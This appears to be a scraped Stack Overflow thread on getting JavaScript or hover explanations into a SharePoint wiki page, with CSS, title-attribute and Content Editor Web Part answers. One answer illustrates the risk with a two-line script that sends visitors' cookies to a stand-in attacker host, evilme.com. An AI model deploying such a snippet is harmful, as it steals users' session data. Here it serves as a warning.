Question

How can I, as the wiki admin, enter scripting (Javascript) into a Sharepoint wiki page?

I would like to enter a title and, when clicking on that, having displayed under it a small explanation. I usually have done that with javascript, any other idea?

Was it helpful?

Solution

Assuming you're the administrator of the wiki and are willing display this on mouseover instead of on click, you don't need javascript at all -- you can use straight CSS. Here's an example of the styles and markup:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
  <title>Test</title>
  <style type="text/css">
    h1 { padding-bottom: .5em; position: relative; }
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
    h1:hover span { display: block; }
  </style>
</head>
<body>
  <h1>Here is the title!
    <span>Here is a little explanation</span>
  </h1>
  <p>Here is some page content</p>
</body>
</html>

With some more involved styles, your tooltip box can look as nice as you'd like.

OTHER TIPS

If the wiki authors are wise, there's probably no way to do this.

The problem with user-contributed JavaScript is that it opens the door for all forms of evil-doers to grab data from the unsuspecting.

Let's suppose evil-me posts a script on a public web site:

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;

Now I will receive the cookie information of each visitor to the page, posted to a log on my server. And that's just the tip of the iceberg.

It completely depends on the specific Wiki software you are using. The way I've seen work is to host a js file somewhere else and then include with a script tag with a src attribute.

If they don't allow that, maybe they allow an IFRAME that you can set to a page that includes the script. Using the second technique, you won't be allowed to access the host page's DOM.

I like the CSS answer. When you can use CSS instead of Javascript it results in simpler markup.
Another thing to look into is the Community Kit for SharePoint Enhanced Wiki Edition on Codeplex. You can download the source code and add in your own features. Or you can suggest this as a new feature in the forum.

That sounds like a security risk. It seems it's possible for the wiki admin to install scripts, see wikipedia's user scripts.

If you're talking about using Javascript as part of a web page on this site, you can't. Or any other public wiki for that matter - it's a security risk.

If you're talking about posting a code sample, click on the '101010' button above the text box.

It would of course depend on the wiki engine you're talking to. Most likely though, as sblundy says, it would be a security risk to allow free usage of javascript on the wiki page.

You should not be able to add javascript code for any public wiki. If you are hosting it yourself, then you need to ask for a specific wiki system so someone can help you to modify the settings - if at all possible for that system.

Add title="text here" to any tag and it should show a text when hovering on it.
Internet Explorer shows the text when you use the alt="text here" attribute, although that is not according to the standards.

I tested now, and you can add <h2 title="some explanation here">headline</h2> to any system based on wikimedia (the one Wikipedia uses).

Use a Content Editor Web Part

From the ribbon, select Insert and choose Web Part. From the menu, go to Media and Content and choose Content Editor. From the newly created webpart's dropdown menu, choose Edit Web Part. From the right webpart settings menu, expand Appearance and set Chrome Type to None. Click Click Here to Add Content on the webpart and locate Edit HTML Source in the ribbon. You can use HTML in this area without it being sanitized away.

Note: If you plan on adding behaviours to lots of page elements, you may want to upload .js files to Style Library and include only the <script src="..."> tag in the Content Editor. You may also want to look into using a custom master or page layout.

Source: https://cobwwweb.com/how-to-run-javascript-on-sharepoint-pages

Licensed under: CC-BY-SA with attribution
Not affiliated with StackOverflow
scroll top